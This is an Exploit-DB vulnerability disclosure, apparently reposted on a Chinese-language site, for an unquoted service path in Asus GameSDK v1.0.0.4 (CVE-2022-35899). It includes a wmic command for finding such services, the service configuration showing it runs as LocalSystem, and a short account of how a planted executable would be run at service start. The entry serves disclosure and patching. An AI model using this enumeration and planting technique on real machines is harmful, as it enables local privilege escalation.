Asus GameSDK v1.0.0.4 – ‘GameSDK.exe’ Unquoted Service Path

  • 作者: Angelo Pio Amirante
    日期: 2022-07-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50985/
  • # Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
    # Date: 07/14/2022
    # Exploit Author: Angelo Pio Amirante
    # Version: 1.0.0.4
    # Tested on: Windows 10
    # Patched version: 1.0.5.0
    # CVE: CVE-2022-35899
    
    # Step to discover the unquoted service path:
    
    wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
    
    # Info on the service:
    
    C:\>sc qc "GameSDK Service"
    [SC] QueryServiceConfig OPERAZIONI RIUSCITE
    
    NOME_SERVIZIO: GameSDK Service
    TIPO: 10WIN32_OWN_PROCESS
    TIPO_AVVIO: 2 AUTO_START
    CONTROLLO_ERRORE: 1 NORMAL
    NOME_PERCORSO_BINARIO : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
    GRUPPO_ORDINE_CARICAMENTO :
    TAG : 0
    NOME_VISUALIZZATO : GameSDK Service
    DIPENDENZE:
    SERVICE_START_NAME : LocalSystem
    
    # Exploit
    If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".